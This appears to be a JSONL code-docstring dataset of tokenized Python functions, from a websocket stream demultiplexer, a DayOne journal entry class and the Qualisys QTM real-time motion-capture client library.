{"signature": "async def _create_upstream_applications(self):", "body": "loop = asyncio.get_event_loop()<EOL>for steam_name, ApplicationsCls in self.applications.items():<EOL><INDENT>application = ApplicationsCls(self.scope)<EOL>upstream_queue = asyncio.Queue()<EOL>self.application_streams[steam_name] = upstream_queue<EOL>self.application_futures[steam_name] = loop.create_task(<EOL>application(<EOL>upstream_queue.get,<EOL>partial(self.dispatch_downstream, steam_name=steam_name)<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Create the upstream applications.", "id": "f8787:c0:m2"}
{"signature": "async def send_upstream(self, message, stream_name=None):", "body": "if stream_name is None:<EOL><INDENT>for steam_queue in self.application_streams.values():<EOL><INDENT>await steam_queue.put(message)<EOL><DEDENT>return<EOL><DEDENT>steam_queue = self.application_streams.get(stream_name)<EOL>if steam_queue is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>await steam_queue.put(message)<EOL>", "docstring": "Send a message upstream to a de-multiplexed application.\n\nIf stream_name is includes will send just to that upstream steam, if not included will send ot all upstream\nsteams.", "id": "f8787:c0:m3"}
{"signature": "async def dispatch_downstream(self, message, steam_name):", "body": "handler = getattr(self, get_handler_name(message), None)<EOL>if handler:<EOL><INDENT>await handler(message, stream_name=steam_name)<EOL><DEDENT>else:<EOL><INDENT>await self.base_send(message)<EOL><DEDENT>", "docstring": "Handle a downstream message coming from an upstream steam.\n\nif there is not handling method set for this method type it will propagate the message further downstream.\n\nThis is called as part of the co-routine of an upstream steam, not the same loop as used for upstream messages\nin the de-multiplexer.", "id": "f8787:c0:m4"}
{"signature": "async def receive_json(self, content, **kwargs):", "body": "<EOL>if isinstance(content, dict) and \"<STR_LIT>\" in content and \"<STR_LIT>\" in content:<EOL><INDENT>steam_name = content[\"<STR_LIT>\"]<EOL>payload = content[\"<STR_LIT>\"]<EOL>if steam_name not in self.applications_accepting_frames:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>await self.send_upstream(<EOL>message={<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:text>\": await self.encode_json(payload)<EOL>},<EOL>stream_name=steam_name<EOL>)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Rout the message down the correct stream.", "id": "f8787:c0:m6"}
{"signature": "async def websocket_disconnect(self, message):", "body": "<EOL>self.closing = True<EOL>await self.send_upstream(message)<EOL>await super().websocket_disconnect(message)<EOL>", "docstring": "Handle the disconnect message.\n\nThis is propagated to all upstream applications.", "id": "f8787:c0:m7"}
{"signature": "async def disconnect(self, code):", "body": "try:<EOL><INDENT>await asyncio.wait(<EOL>self.application_futures.values(),<EOL>return_when=asyncio.ALL_COMPLETED,<EOL>timeout=self.application_close_timeout<EOL>)<EOL><DEDENT>except asyncio.TimeoutError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "default is to wait for the child applications to close.", "id": "f8787:c0:m8"}
{"signature": "async def websocket_send(self, message, stream_name):", "body": "text = message.get(\"<STR_LIT:text>\")<EOL>json = await self.decode_json(text)<EOL>data = {<EOL>\"<STR_LIT>\": stream_name,<EOL>\"<STR_LIT>\": json<EOL>}<EOL>await self.send_json(data)<EOL>", "docstring": "Capture downstream websocket.send messages from the upstream applications.", "id": "f8787:c0:m9"}
{"signature": "async def websocket_accept(self, message, stream_name):", "body": "is_first = not self.applications_accepting_frames<EOL>self.applications_accepting_frames.add(stream_name)<EOL>if is_first:<EOL><INDENT>await self.accept()<EOL><DEDENT>", "docstring": "Intercept downstream `websocket.accept` message and thus allow this upsteam application to accept websocket\nframes.", "id": "f8787:c0:m10"}
{"signature": "async def websocket_close(self, message, stream_name):", "body": "if stream_name in self.applications_accepting_frames:<EOL><INDENT>self.applications_accepting_frames.remove(stream_name)<EOL><DEDENT>if self.closing:<EOL><INDENT>return<EOL><DEDENT>if not self.applications_accepting_frames:<EOL><INDENT>await self.close(message.get(\"<STR_LIT:code>\"))<EOL><DEDENT>", "docstring": "Handle downstream `websocket.close` message.\n\nWill disconnect this upstream application from receiving any new frames.\n\nIf there are not more upstream applications accepting messages it will then call `close`.", "id": "f8787:c0:m11"}
{"signature": "@property<EOL><INDENT>def tz(self):<DEDENT>", "body": "if not self._tz:<EOL><INDENT>self._tz = tzlocal.get_localzone().zone<EOL><DEDENT>return self._tz<EOL>", "docstring": "Return the timezone. If none is set use system timezone", "id": "f8792:c0:m1"}
{"signature": "def add_tag(self, _tags):", "body": "if isinstance(_tags, list):<EOL><INDENT>for t in _tags:<EOL><INDENT>self.tags.append(t)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.tags.append(_tags)<EOL><DEDENT>", "docstring": "Add tag(s) to a DayOneEntry", "id": "f8792:c0:m3"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return self._uuid<EOL>", "docstring": "Return _uuid", "id": "f8792:c0:m4"}
{"signature": "@uuid.setter<EOL><INDENT>def uuid(self, value):<DEDENT>", "body": "self._uuid = value<EOL>", "docstring": "Set _uuid to specified value", "id": "f8792:c0:m5"}
{"signature": "@property<EOL><INDENT>def time(self):<DEDENT>", "body": "return self._time<EOL>", "docstring": "Return the DayOneEntry's time", "id": "f8792:c0:m6"}
{"signature": "@time.setter<EOL><INDENT>def time(self, t):<DEDENT>", "body": "_time = arrow.get(t).format('<STR_LIT>')<EOL>self._time = datetime.datetime.strptime(_time, '<STR_LIT>')<EOL>", "docstring": "Convert any timestamp into a datetime and save as _time", "id": "f8792:c0:m7"}
{"signature": "def as_dict(self):", "body": "entry_dict = {}<EOL>entry_dict['<STR_LIT>'] = self.uuid<EOL>entry_dict['<STR_LIT>'] = self.time<EOL>entry_dict['<STR_LIT>'] = self.tz<EOL>if self.tags:<EOL><INDENT>entry_dict['<STR_LIT>'] = self.tags<EOL><DEDENT>entry_dict['<STR_LIT>'] = self.text<EOL>entry_dict['<STR_LIT>'] = self.starred<EOL>entry_dict['<STR_LIT>'] = self.location<EOL>return entry_dict<EOL>", "docstring": "Return a dict that represents the DayOneEntry", "id": "f8792:c0:m8"}
{"signature": "def save(self, entry, with_location=True, debug=False):", "body": "entry_dict = {}<EOL>if isinstance(entry, DayOneEntry):<EOL><INDENT>entry_dict = entry.as_dict()<EOL><DEDENT>else:<EOL><INDENT>entry_dict = entry<EOL><DEDENT>entry_dict['<STR_LIT>'] = uuid.uuid4().get_hex()<EOL>if with_location and not entry_dict['<STR_LIT>']:<EOL><INDENT>entry_dict['<STR_LIT>'] = self.get_location()<EOL><DEDENT>if not all ((entry_dict['<STR_LIT>'], entry_dict['<STR_LIT>'],<EOL>entry_dict['<STR_LIT>'])):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if debug is False:<EOL><INDENT>file_path = self._file_path(entry_dict['<STR_LIT>'])<EOL>plistlib.writePlist(entry_dict, file_path)<EOL><DEDENT>else:<EOL><INDENT>plist = plistlib.writePlistToString(entry_dict)<EOL>print(plist)<EOL><DEDENT>return True<EOL>", "docstring": "Saves a DayOneEntry as a plist", "id": "f8792:c1:m2"}
{"signature": "def _file_path(self, uid):", "body": "file_name = '<STR_LIT>' % (uid)<EOL>return os.path.join(self.dayone_journal_path, file_name)<EOL>", "docstring": "Create and return full file path for DayOne entry", "id": "f8792:c1:m3"}
{"signature": "async def packet_receiver(queue):", "body": "LOG.info(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>packet = await queue.get()<EOL>if packet is None:<EOL><INDENT>break<EOL><DEDENT>LOG.info(\"<STR_LIT>\", packet.framenumber)<EOL><DEDENT>LOG.info(\"<STR_LIT>\")<EOL>", "docstring": "Asynchronous function that processes queue until None is posted in queue", "id": "f8795:m0"}
{"signature": "async def choose_qtm_instance(interface):", "body": "instances = {}<EOL>print(\"<STR_LIT>\")<EOL>async for i, qtm_instance in AsyncEnumerate(qtm.Discover(interface), start=<NUM_LIT:1>):<EOL><INDENT>instances[i] = qtm_instance<EOL>print(\"<STR_LIT>\".format(i, qtm_instance.info))<EOL><DEDENT>try:<EOL><INDENT>choice = int(input(\"<STR_LIT>\"))<EOL>if choice not in instances:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>LOG.error(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>return instances[choice].host<EOL>", "docstring": "List running QTM instances, asks for input and return chosen QTM", "id": "f8795:m1"}
{"signature": "async def main(interface=None):", "body": "qtm_ip = await choose_qtm_instance(interface)<EOL>if qtm_ip is None:<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>connection = await qtm.connect(qtm_ip, <NUM_LIT>, version=\"<STR_LIT>\")<EOL>if connection is None:<EOL><INDENT>return<EOL><DEDENT>await connection.get_state()<EOL>await connection.byte_order()<EOL>async with qtm.TakeControl(connection, \"<STR_LIT:password>\"):<EOL><INDENT>result = await connection.close()<EOL>if result == b\"<STR_LIT>\":<EOL><INDENT>await connection.await_event(qtm.QRTEvent.EventConnectionClosed)<EOL><DEDENT>await connection.load(QTM_FILE)<EOL>await connection.start(rtfromfile=True)<EOL>(await connection.get_current_frame()).get_3d_markers()<EOL>queue = asyncio.Queue()<EOL>asyncio.ensure_future(packet_receiver(queue))<EOL>try:<EOL><INDENT>await connection.stream_frames(<EOL>components=[\"<STR_LIT>\"], on_packet=queue.put_nowait<EOL>)<EOL><DEDENT>except qtm.QRTCommandException as exception:<EOL><INDENT>LOG.info(\"<STR_LIT>\", exception)<EOL><DEDENT>await connection.stream_frames(<EOL>components=[\"<STR_LIT>\"], on_packet=queue.put_nowait<EOL>)<EOL>await asyncio.sleep(<NUM_LIT:0.5>)<EOL>await connection.byte_order()<EOL>await asyncio.sleep(<NUM_LIT:0.5>)<EOL>await connection.stream_frames_stop()<EOL>queue.put_nowait(None)<EOL>await connection.get_parameters(parameters=[\"<STR_LIT>\"])<EOL>await connection.stop()<EOL>await connection.await_event()<EOL>await connection.new()<EOL>await connection.await_event(qtm.QRTEvent.EventConnected)<EOL>await connection.start()<EOL>await connection.await_event(qtm.QRTEvent.EventWaitingForTrigger)<EOL>await connection.trig()<EOL>await connection.await_event(qtm.QRTEvent.EventCaptureStarted)<EOL>await asyncio.sleep(<NUM_LIT:0.5>)<EOL>await connection.set_qtm_event()<EOL>await asyncio.sleep(<NUM_LIT>)<EOL>await connection.set_qtm_event(\"<STR_LIT>\")<EOL>await asyncio.sleep(<NUM_LIT:0.5>)<EOL>await connection.stop()<EOL>await connection.await_event(qtm.QRTEvent.EventCaptureStopped)<EOL>await connection.save(r\"<STR_LIT>\")<EOL>await asyncio.sleep(<NUM_LIT:3>)<EOL>await connection.close()<EOL><DEDENT>connection.disconnect()<EOL><DEDENT>", "docstring": "Main function", "id": "f8795:m2"}
{"signature": "def create_body_index(xml_string):", "body": "xml = ET.fromstring(xml_string)<EOL>body_to_index = {}<EOL>for index, body in enumerate(xml.findall(\"<STR_LIT>\")):<EOL><INDENT>body_to_index[body.text.strip()] = index<EOL><DEDENT>return body_to_index<EOL>", "docstring": "Extract a name to index dictionary from 6dof settings xml", "id": "f8796:m0"}
{"signature": "def on_packet(packet):", "body": "print(\"<STR_LIT>\".format(packet.framenumber))<EOL>header, markers = packet.get_3d_markers()<EOL>print(\"<STR_LIT>\".format(header))<EOL>for marker in markers:<EOL><INDENT>print(\"<STR_LIT:\\t>\", marker)<EOL><DEDENT>", "docstring": "Callback function that is called everytime a data packet arrives from QTM", "id": "f8797:m0"}
{"signature": "async def setup():", "body": "connection = await qtm.connect(\"<STR_LIT:127.0.0.1>\")<EOL>if connection is None:<EOL><INDENT>return<EOL><DEDENT>await connection.stream_frames(components=[\"<STR_LIT>\"], on_packet=on_packet)<EOL>", "docstring": "Main function", "id": "f8797:m1"}
{"signature": "async def package_receiver(queue):", "body": "LOG.info(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>packet = await queue.get()<EOL>if packet is None:<EOL><INDENT>break<EOL><DEDENT>LOG.info(\"<STR_LIT>\", packet.framenumber)<EOL>header, cameras = packet.get_2d_markers()<EOL>LOG.info(\"<STR_LIT>\", header)<EOL>for i, camera in enumerate(cameras, <NUM_LIT:1>):<EOL><INDENT>LOG.info(\"<STR_LIT>\", i)<EOL>for marker in camera:<EOL><INDENT>LOG.info(\"<STR_LIT>\", marker)<EOL><DEDENT><DEDENT><DEDENT>LOG.info(\"<STR_LIT>\")<EOL>", "docstring": "Asynchronous function that processes queue until None is posted in queue", "id": "f8798:m0"}
{"signature": "async def setup():", "body": "connection = await qtm.connect(\"<STR_LIT:127.0.0.1>\")<EOL>if connection is None:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>async with qtm.TakeControl(connection, \"<STR_LIT:password>\"):<EOL><INDENT>state = await connection.get_state()<EOL>if state != qtm.QRTEvent.EventConnected:<EOL><INDENT>await connection.new()<EOL>try:<EOL><INDENT>await connection.await_event(qtm.QRTEvent.EventConnected, timeout=<NUM_LIT:10>)<EOL><DEDENT>except asyncio.TimeoutError:<EOL><INDENT>LOG.error(\"<STR_LIT>\")<EOL>return -<NUM_LIT:1><EOL><DEDENT><DEDENT>queue = asyncio.Queue()<EOL>receiver_future = asyncio.ensure_future(package_receiver(queue))<EOL>await connection.stream_frames(components=[\"<STR_LIT>\"], on_packet=queue.put_nowait)<EOL>asyncio.ensure_future(shutdown(<NUM_LIT:30>, connection, receiver_future, queue))<EOL><DEDENT>", "docstring": "main function", "id": "f8798:m2"}
{"signature": "def connection_made(self, transport):", "body": "self.transport = transport<EOL>sock = transport.get_extra_info(\"<STR_LIT>\")<EOL>self.port = sock.getsockname()[<NUM_LIT:1>]<EOL>", "docstring": "On socket creation", "id": "f8802:c0:m1"}
{"signature": "def datagram_received(self, datagram, address):", "body": "size, _ = RTheader.unpack_from(datagram, <NUM_LIT:0>)<EOL>info, = struct.unpack_from(\"<STR_LIT>\".format(size - <NUM_LIT:3> - <NUM_LIT:8>), datagram, RTheader.size)<EOL>base_port, = QRTDiscoveryBasePort.unpack_from(datagram, size - <NUM_LIT:2>)<EOL>if self.receiver is not None:<EOL><INDENT>self.receiver(QRTDiscoveryResponse(info, address[<NUM_LIT:0>], base_port))<EOL><DEDENT>", "docstring": "Parse response from QTM instances", "id": "f8802:c0:m2"}
{"signature": "def send_discovery_packet(self):", "body": "if self.port is None:<EOL><INDENT>return<EOL><DEDENT>self.transport.sendto(<EOL>QRTDiscoveryP1.pack(<EOL>QRTDiscoveryPacketSize, QRTPacketType.PacketDiscover.value<EOL>)<EOL>+ QRTDiscoveryP2.pack(self.port),<EOL>(\"<STR_LIT>\", <NUM_LIT>),<EOL>)<EOL>", "docstring": "Send discovery packet for QTM to respond to", "id": "f8802:c0:m3"}
{"signature": "@ComponentGetter(QRTComponentType.ComponentAnalog, RTAnalogComponent)<EOL><INDENT>def get_analog(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.device_count):<EOL><INDENT>component_position, device = QRTPacket._get_exact(<EOL>RTAnalogDevice, data, component_position<EOL>)<EOL>if device.sample_count > <NUM_LIT:0>:<EOL><INDENT>component_position, sample_number = QRTPacket._get_exact(<EOL>RTSampleNumber, data, component_position<EOL>)<EOL>RTAnalogChannel.format = struct.Struct(<EOL>RTAnalogChannel.format_str % device.sample_count<EOL>)<EOL>for _ in range(device.channel_count):<EOL><INDENT>component_position, channel = QRTPacket._get_tuple(<EOL>RTAnalogChannel, data, component_position<EOL>)<EOL>append_components((device, sample_number, channel))<EOL><DEDENT><DEDENT><DEDENT>return components<EOL>", "docstring": "Get analog data.", "id": "f8803:c5:m5"}
{"signature": "@ComponentGetter(QRTComponentType.ComponentAnalogSingle, RTAnalogComponent)<EOL><INDENT>def get_analog_single(<EOL>self, component_info=None, data=None, component_position=None<EOL>):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.device_count):<EOL><INDENT>component_position, device = QRTPacket._get_exact(<EOL>RTAnalogDeviceSingle, data, component_position<EOL>)<EOL>RTAnalogDeviceSamples.format = struct.Struct(<EOL>RTAnalogDeviceSamples.format_str % device.channel_count<EOL>)<EOL>component_position, sample = QRTPacket._get_tuple(<EOL>RTAnalogDeviceSamples, data, component_position<EOL>)<EOL>append_components((device, sample))<EOL><DEDENT>return components<EOL>", "docstring": "Get a single analog data channel.", "id": "f8803:c5:m6"}
{"signature": "@ComponentGetter(QRTComponentType.ComponentForce, RTForceComponent)<EOL><INDENT>def get_force(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.plate_count):<EOL><INDENT>component_position, plate = QRTPacket._get_exact(<EOL>RTForcePlate, data, component_position<EOL>)<EOL>force_list = []<EOL>for _ in range(plate.force_count):<EOL><INDENT>component_position, force = QRTPacket._get_exact(<EOL>RTForce, data, component_position<EOL>)<EOL>force_list.append(force)<EOL><DEDENT>append_components((plate, force_list))<EOL><DEDENT>return components<EOL>", "docstring": "Get force data.", "id": "f8803:c5:m7"}
{"signature": "@ComponentGetter(QRTComponentType.ComponentForceSingle, RTForceComponent)<EOL><INDENT>def get_force_single(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.plate_count):<EOL><INDENT>component_position, plate = QRTPacket._get_exact(<EOL>RTForcePlateSingle, data, component_position<EOL>)<EOL>component_position, force = QRTPacket._get_exact(<EOL>RTForce, data, component_position<EOL>)<EOL>append_components((plate, force))<EOL><DEDENT>return components<EOL>", "docstring": "Get a single force data channel.", "id": "f8803:c5:m8"}
{"signature": "@ComponentGetter(QRTComponentType.Component6d, RT6DComponent)<EOL><INDENT>def get_6d(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.body_count):<EOL><INDENT>component_position, position = QRTPacket._get_exact(<EOL>RT6DBodyPosition, data, component_position<EOL>)<EOL>component_position, matrix = QRTPacket._get_tuple(<EOL>RT6DBodyRotation, data, component_position<EOL>)<EOL>append_components((position, matrix))<EOL><DEDENT>return components<EOL>", "docstring": "Get 6D data.", "id": "f8803:c5:m9"}
{"signature": "@ComponentGetter(QRTComponentType.Component6dRes, RT6DComponent)<EOL><INDENT>def get_6d_residual(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.body_count):<EOL><INDENT>component_position, position = QRTPacket._get_exact(<EOL>RT6DBodyPosition, data, component_position<EOL>)<EOL>component_position, matrix = QRTPacket._get_tuple(<EOL>RT6DBodyRotation, data, component_position<EOL>)<EOL>component_position, residual = QRTPacket._get_exact(<EOL>RT6DBodyResidual, data, component_position<EOL>)<EOL>append_components((position, matrix, residual))<EOL><DEDENT>return components<EOL>", "docstring": "Get 6D data with residual.", "id": "f8803:c5:m10"}
{"signature": "@ComponentGetter(QRTComponentType.Component6dEuler, RT6DComponent)<EOL><INDENT>def get_6d_euler(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.body_count):<EOL><INDENT>component_position, position = QRTPacket._get_exact(<EOL>RT6DBodyPosition, data, component_position<EOL>)<EOL>component_position, euler = QRTPacket._get_exact(<EOL>RT6DBodyEuler, data, component_position<EOL>)<EOL>append_components((position, euler))<EOL><DEDENT>return components<EOL>", "docstring": "Get 6D data with euler rotations.", "id": "f8803:c5:m11"}
{"signature": "@ComponentGetter(QRTComponentType.Component6dEulerRes, RT6DComponent)<EOL><INDENT>def get_6d_euler_residual(<EOL>self, component_info=None, data=None, component_position=None<EOL>):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.body_count):<EOL><INDENT>component_position, position = QRTPacket._get_exact(<EOL>RT6DBodyPosition, data, component_position<EOL>)<EOL>component_position, euler = QRTPacket._get_exact(<EOL>RT6DBodyEuler, data, component_position<EOL>)<EOL>component_position, residual = QRTPacket._get_exact(<EOL>RT6DBodyResidual, data, component_position<EOL>)<EOL>append_components((position, euler, residual))<EOL><DEDENT>return components<EOL>", "docstring": "Get 6D data with residuals and euler rotations.", "id": "f8803:c5:m12"}
{"signature": "@ComponentGetter(QRTComponentType.ComponentImage, RTImageComponent)<EOL><INDENT>def get_image(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.image_count):<EOL><INDENT>component_position, image_info = QRTPacket._get_exact(<EOL>RTImage, data, component_position<EOL>)<EOL>append_components((image_info, data[component_position:-<NUM_LIT:1>]))<EOL><DEDENT>return components<EOL>", "docstring": "Get image.", "id": "f8803:c5:m13"}
{"signature": "@ComponentGetter(QRTComponentType.Component3d, RT3DComponent)<EOL><INDENT>def get_3d_markers(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "return self._get_3d_markers(<EOL>RT3DMarkerPosition, component_info, data, component_position<EOL>)<EOL>", "docstring": "Get 3D markers.", "id": "f8803:c5:m14"}
{"signature": "@ComponentGetter(QRTComponentType.Component3dRes, RT3DComponent)<EOL><INDENT>def get_3d_markers_residual(<EOL>self, component_info=None, data=None, component_position=None<EOL>):<DEDENT>", "body": "return self._get_3d_markers(<EOL>RT3DMarkerPositionResidual, component_info, data, component_position<EOL>)<EOL>", "docstring": "Get 3D markers with residual.", "id": "f8803:c5:m15"}
{"signature": "@ComponentGetter(QRTComponentType.Component3dNoLabels, RT3DComponent)<EOL><INDENT>def get_3d_markers_no_label(<EOL>self, component_info=None, data=None, component_position=None<EOL>):<DEDENT>", "body": "return self._get_3d_markers(<EOL>RT3DMarkerPositionNoLabel, component_info, data, component_position<EOL>)<EOL>", "docstring": "Get 3D markers without label.", "id": "f8803:c5:m16"}
{"signature": "@ComponentGetter(QRTComponentType.Component3dNoLabelsRes, RT3DComponent)<EOL><INDENT>def get_3d_markers_no_label_residual(<EOL>self, component_info=None, data=None, component_position=None<EOL>):<DEDENT>", "body": "return self._get_3d_markers(<EOL>RT3DMarkerPositionNoLabelResidual, component_info, data, component_position<EOL>)<EOL>", "docstring": "Get 3D markers without label with residual.", "id": "f8803:c5:m17"}
{"signature": "@ComponentGetter(QRTComponentType.Component2d, RT2DComponent)<EOL><INDENT>def get_2d_markers(<EOL>self, component_info=None, data=None, component_position=None, index=None<EOL>):<DEDENT>", "body": "return self._get_2d_markers(<EOL>data, component_info, component_position, index=index<EOL>)<EOL>", "docstring": "Get 2D markers.\n\n        :param index: Specify which camera to get 2D from, will be returned as\n                      first entry in the returned array.", "id": "f8803:c5:m18"}
{"signature": "@ComponentGetter(QRTComponentType.Component2dLin, RT2DComponent)<EOL><INDENT>def get_2d_markers_linearized(<EOL>self, component_info=None, data=None, component_position=None, index=None<EOL>):<DEDENT>", "body": "return self._get_2d_markers(<EOL>data, component_info, component_position, index=index<EOL>)<EOL>", "docstring": "Get 2D linearized markers.\n\n        :param index: Specify which camera to get 2D from, will be returned as\n                      first entry in the returned array.", "id": "f8803:c5:m19"}
{"signature": "@ComponentGetter(QRTComponentType.ComponentSkeleton, RTSkeletonComponent)<EOL><INDENT>def get_skeletons(self, component_info=None, data=None, component_position=None):<DEDENT>", "body": "components = []<EOL>append_components = components.append<EOL>for _ in range(component_info.skeleton_count):<EOL><INDENT>component_position, info = QRTPacket._get_exact(<EOL>RTSegmentCount, data, component_position<EOL>)<EOL>segments = []<EOL>for __ in range(info.segment_count):<EOL><INDENT>component_position, segment = QRTPacket._get_exact(<EOL>RTSegmentId, data, component_position<EOL>)<EOL>component_position, position = QRTPacket._get_exact(<EOL>RTSegmentPosition, data, component_position<EOL>)<EOL>component_position, rotation = QRTPacket._get_exact(<EOL>RTSegmentRotation, data, component_position<EOL>)<EOL>segments.append((segment.id, position, rotation))<EOL><DEDENT>append_components(segments)<EOL><DEDENT>return components<EOL>", "docstring": "Get skeletons", "id": "f8803:c5:m20"}
{"signature": "def data_received(self, data):", "body": "self._received_data += data<EOL>h_size = RTheader.size<EOL>data = self._received_data<EOL>size, type_ = RTheader.unpack_from(data, <NUM_LIT:0>)<EOL>while len(data) >= size:<EOL><INDENT>self._parse_received(data[h_size:size], type_)<EOL>data = data[size:]<EOL>if len(data) < h_size:<EOL><INDENT>break<EOL><DEDENT>size, type_ = RTheader.unpack_from(data, <NUM_LIT:0>)<EOL><DEDENT>self._received_data = data<EOL>", "docstring": "Received from QTM and route accordingly", "id": "f8805:c0:m1"}
{"signature": "def validate_response(expected_responses):", "body": "def internal_decorator(function):<EOL><INDENT>@wraps(function)<EOL>async def wrapper(*args, **kwargs):<EOL><INDENT>response = await function(*args, **kwargs)<EOL>for expected_response in expected_responses:<EOL><INDENT>if response.startswith(expected_response):<EOL><INDENT>return response<EOL><DEDENT><DEDENT>raise QRTCommandException(<EOL>\"<STR_LIT>\" % (expected_responses, response)<EOL>)<EOL><DEDENT>return wrapper<EOL><DEDENT>return internal_decorator<EOL>", "docstring": "Decorator to validate responses from QTM", "id": "f8806:m0"}
{"signature": "async def connect(<EOL>host,<EOL>port=<NUM_LIT>,<EOL>version=\"<STR_LIT>\",<EOL>on_event=None,<EOL>on_disconnect=None,<EOL>timeout=<NUM_LIT:5>,<EOL>loop=None,<EOL>) -> QRTConnection:", "body": "loop = loop or asyncio.get_event_loop()<EOL>try:<EOL><INDENT>_, protocol = await loop.create_connection(<EOL>lambda: QTMProtocol(<EOL>loop=loop, on_event=on_event, on_disconnect=on_disconnect<EOL>),<EOL>host,<EOL>port,<EOL>)<EOL><DEDENT>except (ConnectionRefusedError, TimeoutError, OSError) as exception:<EOL><INDENT>LOG.error(exception)<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>await protocol.set_version(version)<EOL><DEDENT>except QRTCommandException as exception:<EOL><INDENT>LOG.error(Exception)<EOL>return None<EOL><DEDENT>except TypeError as exception:  <EOL><INDENT>LOG.error(exception)<EOL>return None<EOL><DEDENT>return QRTConnection(protocol, timeout=timeout)<EOL>", "docstring": "Async function to connect to QTM\n\n    :param host: Address of the computer running QTM.\n    :param port: Port number to connect to, should be the port configured for little endian.\n    :param version: What version of the protocol to use, tested for 1.17 and above but could\n        work with lower versions as well.\n    :param on_disconnect: Function to be called when a disconnect from QTM occurs.\n    :param on_event: Function to be called when there's an event from QTM.\n    :param timeout: The default timeout time for calls to QTM.\n    :param loop: Alternative event loop, will use asyncio default if None.\n\n    :rtype: A :class:`.QRTConnection`", "id": "f8806:m1"}
{"signature": "def disconnect(self):", "body": "self._protocol.transport.close()<EOL>", "docstring": "Disconnect from QTM.", "id": "f8806:c0:m1"}
{"signature": "def has_transport(self):", "body": "return self._protocol.transport is not None<EOL>", "docstring": "Check if connected to QTM", "id": "f8806:c0:m2"}
{"signature": "async def qtm_version(self):", "body": "return await asyncio.wait_for(<EOL>self._protocol.send_command(\"<STR_LIT>\"), timeout=self._timeout<EOL>)<EOL>", "docstring": "Get the QTM version.", "id": "f8806:c0:m3"}
{"signature": "async def byte_order(self):", "body": "return await asyncio.wait_for(<EOL>self._protocol.send_command(\"<STR_LIT>\"), timeout=self._timeout<EOL>)<EOL>", "docstring": "Get the byte order used when communicating\n            (should only ever be little endian using this library).", "id": "f8806:c0:m4"}
{"signature": "async def get_state(self):", "body": "await self._protocol.send_command(\"<STR_LIT>\", callback=False)<EOL>return await self._protocol.await_event()<EOL>", "docstring": "Get the latest state change of QTM. If the :func:`~qtm.connect` on_event\n        callback was set the callback will be called as well.\n\n        :rtype: A :class:`qtm.QRTEvent`", "id": "f8806:c0:m5"}
{"signature": "async def await_event(self, event=None, timeout=<NUM_LIT:30>):", "body": "return await self._protocol.await_event(event, timeout=timeout)<EOL>", "docstring": "Wait for an event from QTM.\n\n        :param event: A :class:`qtm.QRTEvent`\n            to wait for a specific event. Otherwise wait for any event.\n\n        :param timeout: Max time to wait for event.\n\n        :rtype: A :class:`qtm.QRTEvent`", "id": "f8806:c0:m6"}
{"signature": "async def get_parameters(self, parameters=None):", "body": "if parameters is None:<EOL><INDENT>parameters = [\"<STR_LIT:all>\"]<EOL><DEDENT>else:<EOL><INDENT>for parameter in parameters:<EOL><INDENT>if not parameter in [<EOL>\"<STR_LIT:all>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:image>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>]:<EOL><INDENT>raise QRTCommandException(\"<STR_LIT>\" % parameter)<EOL><DEDENT><DEDENT><DEDENT>cmd = \"<STR_LIT>\" % \"<STR_LIT:U+0020>\".join(parameters)<EOL>return await asyncio.wait_for(<EOL>self._protocol.send_command(cmd), timeout=self._timeout<EOL>)<EOL>", "docstring": "Get the settings for the requested component(s) of QTM in XML format.\n\n        :param parameters: A list of parameters to request.\n            Could be 'all' or any combination\n            of 'general', '3d', '6d', 'analog', 'force', 'gazevector', 'image'.\n        :rtype: An XML string containing the requested settings.\n            See QTM RT Documentation for details.", "id": "f8806:c0:m7"}
